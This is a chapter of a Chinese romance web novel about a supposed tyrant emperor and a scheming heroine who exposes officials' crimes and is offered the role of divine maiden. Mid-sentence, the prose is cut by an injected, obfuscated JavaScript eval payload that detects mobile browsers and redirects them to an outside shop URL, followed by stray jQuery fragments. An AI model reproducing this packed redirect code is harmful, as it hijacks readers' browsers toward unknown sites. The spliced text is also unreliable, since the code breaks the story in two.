21. 精心布局暗中谋划

作品:《暴君绑定了虐文女主系统

    萧煜待在御书房,只觉得如坐针毡。


    他握着毛笔,死死盯着眼前的奏折,试图将注意力重新拉回来。密密麻麻的墨色字迹,如同蚂蚁浮动,看得人眼前发昏,始终平静不下来。


    那些老头子文采也太烂了,弄得他心浮气躁,满脑子都想着沈昭那家伙。


    所以……沈昭为什么还没来?


    萧煜不自觉抬起头,朝着门口的方向望去。只见门槛出有人影一闪而过,露出蓝色衣裳的一角。


    “谁在外面?”


    他不由自主提高了音量。


    “陛下,有何吩咐?”


    德福低着头,身穿深蓝衣裳走了进来。


    原来不是沈昭啊。


    “……没事,出去罢。”萧煜摆了摆手,“还有,你以后别穿这件衣服。”


    德福一头雾水,不明白陛下这突然演的是哪一出。不过他已经习惯了陛下的喜怒无常,也没敢多问,只是点头道:“喏。”


    他转过身,正要往外头走,正巧撞见迎面走来的沈昭,便点头致意道:“沈小姐来这里,莫不是有什么事?”


    “来找您玩呀。”沈昭笑了笑。


    德福不敢接话,扭头去看萧煜。


    “哼,不是来找朕的?”萧煜双手环抱在胸前,朝后一仰,“既然不是来见朕的,德福送客罢。”


    “哎呀,陛下,咱俩这关系,还用得着特意用‘找’这样的词么?”


    沈昭立刻笑着凑上去,双手撑着桌面,歪了歪脑袋:“毕竟咱们可是睡过一张床的关系。”


    萧煜:“……”


    虽然这话是真的,但听着怎么哪里不对劲呢?


    许昌彦抬脚迈过大门,正好听见两人的对话,脚步顿了一下,险些被门槛给绊倒。


    他好像来得不是时候,早知如此就不该听沈昭的话跟来了。


    萧煜看见沈昭身后的许昌彦,清了清嗓子,特意强调道:“你说话注意点,是你昏倒,侍卫把你放到了床上。”


    只是他这般解释,落在许昌彦的眼里,反而有些欲盖弥彰的味道。


    许昌彦不知这两人演得是哪一出,只是默默低着头装聋子。


    沈昭直起身子,袖子带过桌面,将卷轴扫了下去。


    “哎呀,当真抱歉。”她故作惊慌道,“不小心弄掉了。”


    她弯腰作势去捡,脚尖一踢,卷轴贴着地面,咕噜噜滚了几圈,滑到了许昌彦的跟前。


    沈昭眨了眨眼,问道:“许公子能否帮忙捡一下?”


    许昌彦一时无言。


    这葫芦里到底卖的是什么药?


    她动作这般刻意,自己要看不出来,就是真的瞎了眼。


    尽管心知肚明,许昌彦还是俯身去捡了。


    他余光不经意一瞥,窥见卷轴记录的内容,不由得愣在原地。


    纸张上赫然写着那日死去的两名考官姓名。


    名字后面详细记载了其收取贿赂、买卖考题等罪行。


    尚未摊开的位置,只露出了一半,似乎记的是和尚道士假借香火之名,大肆逼迫百姓上供钱财,甚至闹出了人命,却有故意掩盖罪行。


    许昌彦内心掀起一股惊涛骇浪。


    若是在明察秋毫的官员那里见到这些记载,他未必会如此吃惊,顶多感叹几句大公无私明辨是非。但这可是在传闻中暴君的御书房,便有几分令人深思了。


    莫非陛下杀人都是事出有因?亦或者这是沈昭联合陛下做局,有意让他看见?


    许昌彦垂下眼眸,不动声色拾起卷轴,重新仔细卷好,双手递了过去。


    萧煜眼皮微掀,扫了他一眼,倒没有多说什么。


    气氛一时间有些微妙,双方各怀心思,安静得有些可怕。


    “哈哈。”沈昭挠了挠头,讪笑两声,“陛下忙于公务,我就不打扰了。我这就送许公子出去……”


    “你留下。”


    萧煜顿了顿,补充道:“朕有事跟你商议。”


    “我?”沈昭挠头的手停了下来,指了指自己,收起脸上的笑容,改口道,“那我先送许公子出去,然后、立刻、马上、很快来见陛下您。”


    看见她这副心虚的模样,萧煜嘴角微微上扬,眉眼柔和了几分,不自觉笑道:“嗯。”


    萧煜这一笑,反倒把许昌彦给看愣了。


    他正处在心神动摇的状态,如今见萧煜跟殿试那日简直判若两人,不由得开始怀疑人生。


    难道沈昭先前所言都是真的,是自己一叶障目误判了陛下?


    沈昭将他拉到门外,像是料到他心中所想,轻声道:“天下没有不漏风的墙,凭许公子的身份,只要有心想去查,总能得知真假。”


    “若是你今日所见为假,我如此大费周章,能有什么好处?”


    她这一问,正好问到了许昌彦心底。


    许昌彦虽自负才华过人,但绝不会将自己摆到不切实际的高度。若说是故意所为,他实在想不明白,自己能给沈昭什么比皇帝还大的好处。


    “你我赌约尚在,不会作废。”他对沈昭行了行礼,“只是我对陛下仍持保留态度,待我思考几日,再给你答复。”


    “好。”沈昭解下腰间的令牌,递给他,“你若是想明白了,便来宫中见我。若是没想明白,也记得把这牌子还我。”


    只要许昌彦来还牌子,就还有下次见面的机会。不管是否改变想法,她迟早都能把许昌彦忽悠瘸了。


    沈昭送走许昌彦,在门口踟蹰片刻,探出了个小脑袋,被萧煜逮了个正着。


    “要进就进,要走就走,站在中间算什么?”


    沈昭只听自己想听的,立刻道:“那我走了?”


    “进来。”萧煜挑了挑眉,“怕我秋后算账?”


    “哈哈算什么账。”沈昭爽朗大笑,装作听不明白的模样。


    萧煜支着下巴,勾了勾唇角:“刚才你是故意的,还是不小心的?”


    沈昭继续装傻:“什么?”


    萧煜道:“朕没生气,你说实话吧。”


    沈昭回答:“我……是故意不小心的。”


    萧煜:“……行吧。”


    自从认识了沈昭,他的脾气是一天比一天好了。


    哪怕听见这样的回答,他也能冷静地追问:“你怎么知道那堆卷轴里面放着罪行证据?朕这里摆放了如此多的奏折案牍,你如何保证扫下去的,一定就是你想给他看的?”


    萧煜心中预设了许多种答案。如果沈昭是提前得知御书房的布局,那肯定在自己身边安插了人手。如果不是,也有可能从哪里打探到了消息,才会如此了解。


    沈昭歪了歪头:“我不知道啊。”


    萧煜有些诧异:“什么?”


    “我说,我不知道哪个卷轴才是证据。”沈昭如实回答道,“我原本打算一路扫过去的,直到掉落出想要的卷轴。没想到第一个正好就是。


    萧煜想象了一下画面,不由得一阵恶寒:“……你是想毁了朕的御书房吗?”


    他扶着额头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232835|196658||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,叹了口气:“其实你没必要这么做。”


    沈昭问:“为什么?”


    “认为朕是暴君的人不在少数,你若个个都要澄清,恐怕猴年马月都无法说明白。就算能做到,别人也未必会信。”萧煜顿了顿,又补充道,“更何况,朕本来就不是个好人。”


    “陛下到底是不是好人,不由您说得算,也不由我说得算。公道自在人心,要看百姓说的算。”沈昭抬起头,望着他说道,“今日我替你说,便有人知道你的作为。一传十,十传百,日后便会有更多人的知道你到底是怎么的皇帝,如此才能判断你是明君还是暴君。相反,若你不说,我也不说,便永远无法有人知道你背后所做的付出。”


    萧煜摇了摇头,答道:“过多的解释,只会显得朕软弱。”


    “陛下的想法,我本无意置喙。只是担心陛下背尽了恶名,未必做得成实事。”


    沈昭说着掰了掰手指,松开的一瞬,手指立刻弹了出去:“施加强权无须解释,虽能免去不少麻烦,但压得过狠,反弹得也就越厉害。”


    “人心向背,有时可决定成败。”


    原著萧璟辰就是通过笼络人心,形成自己的势力,最终杀入皇城夺取了皇位。


    许昌彦只是个导火索。他的存在本身就代表着文官派系的态度,若萧煜不能及时摆脱暴君的名声,终究会留下巨大的隐患。


    “罢了,朕今日要跟你谈的,不是这个。”萧煜微微敛眸,似乎不欲在方才的话题上多言。


    “科举舞弊案,朕已经查得七七八八。那两名主考官,朕明面下令斩杀,其实是想留下了严刑逼问,没想到他们一个咬舌自尽,一个藏着毒药饮下自尽,全部都没了性命,没能留下盘问的机会。朕就算怀疑萧璟辰是幕后主使,也没有可以证明他罪行的供词。”


    “朕估计他原本是想将科举舞弊之事推到李焕身上,听闻那日放火的是个考生,后来不知了去向,可能背后有人授意。若是将刺客扭曲成考生,因有失公正故意报复,李焕也只能接下这盆脏水,毕竟死人是不能说话的。”


    “陛下的意思是说,哪怕您能推测出大致内情,但空口无凭,只能草草了结。”


    萧煜抿了抿唇,沉下脸:“是的,朕心中甚是憋屈,恨不得将他除之而后快。就算杀不了,没想到就连处罚也处罚不了。”


    “但正是因为如此……”他话锋一转,忽而道,“朕才需要你。”


    “我?”


    “对,既然你说能预知天机,不如就说得更彻底些。朕要让你成为我朝的神女。”


    沈昭一愣:“神女?”


    萧煜从一沓案牍从抽出几个奏折,丢到桌面上:“正好有几个多管闲事的老狐狸,特意上奏问起你,说你身份不明不白,不能这样待在皇宫。他们都有未出阁的女儿,成天盯着后宫的位置,只想卖女求荣。”


    “我后宫空虚无人,他们本来熄了心思。如今你一出现,他们就跟见了肉包子的狗似的,流着哈喇子想要分块肉。真是可笑,不知道的还以为这些老家伙才是那些个待字闺中,拼命想要嫁进宫来的人呢。”


    “陛下真是毒舌。”


    沈昭脑补了一下,五六十的老头子穿着花衣裳,在后宫里勾心斗角的画面,忍不住起了一身鸡皮疙瘩。


    “只要朕认可你为神女,你说出来的预言就会更有分量。哪怕他们不服,也必须得服。”


    萧煜站起身来:“若是有关于萧璟辰的预言,你大可以告诉我。从此你的意思,便是朕的意思。”